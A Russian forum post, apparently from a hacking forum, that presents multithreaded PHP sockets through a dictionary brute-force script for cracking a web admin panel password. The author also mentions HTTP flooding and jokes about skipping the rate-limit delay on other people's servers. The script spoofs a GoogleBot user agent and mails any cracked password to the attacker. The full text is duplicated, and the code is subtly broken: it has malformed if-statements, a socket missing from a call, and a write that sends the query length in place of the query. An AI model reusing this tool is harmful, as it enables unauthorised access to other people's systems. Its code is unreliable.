EXSlim
17.12.2006, 18:47
Интро
Иногда бывают ситуации, требующие быстро обработать информацию. Например, при работе с несколькими тысячами записей БД, не заставляя пользователя долго ждать. К сожалению PHP обладает небольшими возможностями при роботе с потоками, здесь козыри в руках PERL. Но именно о многопоточности в PHP мы и будем говорить.
О многопоточности в PERL можно прочитать в статье KSURi.
_http://forum.antichat.ru/thread28020.html
In da work
Для примера возьмем более привычную задачу – брут(или хттп флуд=)). Итак работать будем с сокетами. Брутить будем какой нибудь пароль в админку. Комменты и обьяснения в самом скрипте. В начале скрипта идут простые параметры. Максимальное число потоков не рекомендую ставить слишком большим =) С целью экономии памяти ограничим максимальную длину пароля. Если скрипт не требует логина - пропустите соответствующую настройку. Если вы незнаете ответа скрипта при правильном пароле, напишите в $stop_condition ответ при неправильном а в скрипте перед preg_match доставьте - "!"
<?php
//Маскимальное число потоков
$threads = 20;
//хост
$host = "http://somehost.net";
//порт
$port = 80;
//файл для авторизации
$auth_file = "somefile.php";
//имя которое будем брутить
$brute_username = "admin";
//Словарик
# Переделать скрипт для брута по алфавиту или маске
# не составит труда.
$dict = "dict.txt";
//Максимальная длина пароля из файла
$socket_send_limit = 32;
//Стоп условие.
$stop_condition = "Welcome to the admin panel";
//Мыло на которое приёдет пасс
# Скрипт также можно переделать для записи результата
# в файл или простого вывода на экран
$mail = "somemail@mail.ru";
Смысл многопоточности в паралельно работающих соединениях. Их хендлеры заносятся в масив, не превышающий $threads. Отработавшие сокеты удаляются из масива освобожная место новым. Каждый считаный из словаря пасс формирует новый запрос. Следующий пасс - новый поток.
#####################
# Начинаем работать
#
//Формируем полный путь к скрипту
$full_path = $host.":".$port."/".$auth_file."?";
$f = fopen("$dict","r");
while (!feof($f)) {
//Читаем словарик
$current_pass = fgets($f,$socket_send_limit);
//Пока не достигли максимального числа потоков - продолжаем
if $threads > count($sock) {
//Формируем сам пост запрос
//Добавить можно любые хидеры
$query = "";
$query .="POST ".$full_path." HTTP/1.1\r\n";
$query .="Accept: */* \n";
$query .="Host: ".$host."\n";
$query .="User-Agent: GoogleBot 2.1\n"; // =)))))
$query .="\nlogin=".$brute_username."&password=".$сurrent_pass."\n";
//Открываем сокет
$s = fsockopen($host,$port);
//!!! Переходим в неблокирующий режим!!!!
stream_set_blocking(0);
//Устанавливаем таймаут
stream_set_timeout($s,600);
//Пишем в сокет
fputs($s,strlen($query));
//Запоминаем сокет в масив
$sock[$current_pass] = $s;
//Проверяем количество потоков
if count($sock) == 0 die("Can`t open socket or job already done.");
//Считываем ответ сервера
$get = fgets($s,1024);
//Не сбрутился ли наш пароль?
if (preg_match($stop_condition,$get)) {
mail("somemail@mail.ru","brute",$current_pass);
fclose($s);
fclose($f);
die("Done!");
}
//Удаляем из масива хендлер отработавшего сокета
//Освобождаем место для нового
unset($sock[$current_pass]);
}
//Разгрузим немного сервак. Можно пропустить на чужом сервере =)
sleep(1);
}
?>
Вместо заключения
Естественно это не единственный способ. Скрипт полностью работоспособный, но на баги не проверял. В общем есть смысл доработать и/или модернизировать. Целью было показать один из способов увеличения скорости работы в PHP.
Иногда бывают ситуации, требующие быстро обработать информацию. Например, при работе с несколькими тысячами записей БД, не заставляя пользователя долго ждать. К сожалению PHP обладает небольшими возможностями при роботе с потоками, здесь козыри в руках PERL. Но именно о многопоточности в PHP мы и будем говорить.
О многопоточности в PERL можно прочитать в статье KSURi.
_http://forum.antichat.ru/thread28020.html
In da work
Для примера возьмем более привычную задачу – брут(или хттп флуд=)). Итак работать будем с сокетами. Брутить будем какой нибудь пароль в админку. Комменты и обьяснения в самом скрипте. В начале скрипта идут простые параметры. Максимальное число потоков не рекомендую ставить слишком большим =) С целью экономии памяти ограничим максимальную длину пароля. Если скрипт не требует логина - пропустите соответствующую настройку. Если вы незнаете ответа скрипта при правильном пароле, напишите в $stop_condition ответ при неправильном а в скрипте перед preg_match доставьте - "!"
<?php
//Маскимальное число потоков
$threads = 20;
//хост
$host = "http://somehost.net";
//порт
$port = 80;
//файл для авторизации
$auth_file = "somefile.php";
//имя которое будем брутить
$brute_username = "admin";
//Словарик
# Переделать скрипт для брута по алфавиту или маске
# не составит труда.
$dict = "dict.txt";
//Максимальная длина пароля из файла
$socket_send_limit = 32;
//Стоп условие.
$stop_condition = "Welcome to the admin panel";
//Мыло на которое приёдет пасс
# Скрипт также можно переделать для записи результата
# в файл или простого вывода на экран
$mail = "somemail@mail.ru";
Смысл многопоточности в паралельно работающих соединениях. Их хендлеры заносятся в масив, не превышающий $threads. Отработавшие сокеты удаляются из масива освобожная место новым. Каждый считаный из словаря пасс формирует новый запрос. Следующий пасс - новый поток.
#####################
# Начинаем работать
#
//Формируем полный путь к скрипту
$full_path = $host.":".$port."/".$auth_file."?";
$f = fopen("$dict","r");
while (!feof($f)) {
//Читаем словарик
$current_pass = fgets($f,$socket_send_limit);
//Пока не достигли максимального числа потоков - продолжаем
if $threads > count($sock) {
//Формируем сам пост запрос
//Добавить можно любые хидеры
$query = "";
$query .="POST ".$full_path." HTTP/1.1\r\n";
$query .="Accept: */* \n";
$query .="Host: ".$host."\n";
$query .="User-Agent: GoogleBot 2.1\n"; // =)))))
$query .="\nlogin=".$brute_username."&password=".$сurrent_pass."\n";
//Открываем сокет
$s = fsockopen($host,$port);
//!!! Переходим в неблокирующий режим!!!!
stream_set_blocking(0);
//Устанавливаем таймаут
stream_set_timeout($s,600);
//Пишем в сокет
fputs($s,strlen($query));
//Запоминаем сокет в масив
$sock[$current_pass] = $s;
//Проверяем количество потоков
if count($sock) == 0 die("Can`t open socket or job already done.");
//Считываем ответ сервера
$get = fgets($s,1024);
//Не сбрутился ли наш пароль?
if (preg_match($stop_condition,$get)) {
mail("somemail@mail.ru","brute",$current_pass);
fclose($s);
fclose($f);
die("Done!");
}
//Удаляем из масива хендлер отработавшего сокета
//Освобождаем место для нового
unset($sock[$current_pass]);
}
//Разгрузим немного сервак. Можно пропустить на чужом сервере =)
sleep(1);
}
?>
Вместо заключения
Естественно это не единственный способ. Скрипт полностью работоспособный, но на баги не проверял. В общем есть смысл доработать и/или модернизировать. Целью было показать один из способов увеличения скорости работы в PHP.